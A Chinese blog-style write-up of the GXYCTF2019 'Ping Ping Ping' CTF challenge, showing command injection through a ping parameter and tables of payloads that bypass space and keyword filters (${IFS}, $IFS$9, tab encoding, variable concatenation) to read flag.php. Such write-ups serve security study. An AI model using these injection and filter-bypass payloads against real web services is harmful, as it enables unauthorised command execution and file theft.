buuctf-cf2 WEB [GXYCTF2019]Ping Ping Ping writeup
原创
长弓三皮
长弓三皮
长弓三皮
2026年11月6日 08:08
湖南
去阅读
随波逐流工作室—-探索前沿科技，分享最新软件。点击标题下蓝字“长弓三皮”关注，我们将为您提供有深度、有价值、有意思的阅读。
朋友们，现在只对常读和星标的公众号才展示大图推送，建议大家把长弓三皮“设为星标”，否则可能就看不到了啦！
作者：随波逐流
buuctf-ctf2 WEB
随波逐流
WriteUp
打开 [随波逐流]WEB安全工具访问
网址上加上?ip=127.0.0.1
试一下?ip=127.0.0.1;ls
访问一下flag.php
看不到任何信息
那就cat试一下
cat绕过空格
| 原始命令 | 绕过 payload | 说明 |
|---|---|---|
cat flag.php |
cat${IFS}flag.php |
通用 bash |
cat flag.php |
cat$IFS$9flag.php |
防止粘连 |
cat flag.php |
cat<flag.php |
无美元符号 |
cat flag.php |
{cat,flag.php} |
大括号逗号 |
| web get | cat%09flag.php |
url tab 编码 |
过滤了大括号
过滤了flag，不读flag，读index
使用?ip=127.0.0.1;tac$IFSls
CTF2{c00e016b-c709-4ad5-bb31-3556fffa83a5}
| 命令 | payload 片段 | 作用 |
|---|---|---|
cat |
cat$IFS$9$a$b$c$d |
正序打印 |
tac |
tac$IFS$9$a$b$c$d |
倒序打印 |
nl |
nl$IFS$9$a$b$c$d |
带行号输出 |
od |
od$IFS$9$a$b$c$d |
十六进制 dump |
strings |
strings$IFS$9$a$b$c$d |
提取可见字符串 |
公众号内输入
搜索公众号+题目标题
可搜索到此文章
软件发布网址： 随波逐流信息安全网
http://www.1o1o.xyz
微信公众号：长弓三皮
你若喜欢，为“长弓三皮”点个赞和在看哦 
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
![buuctf-cf2 WEB[GXYCTF2019]PingPingPingwriteup"](/images/random/titlepic/6.jpg)
评论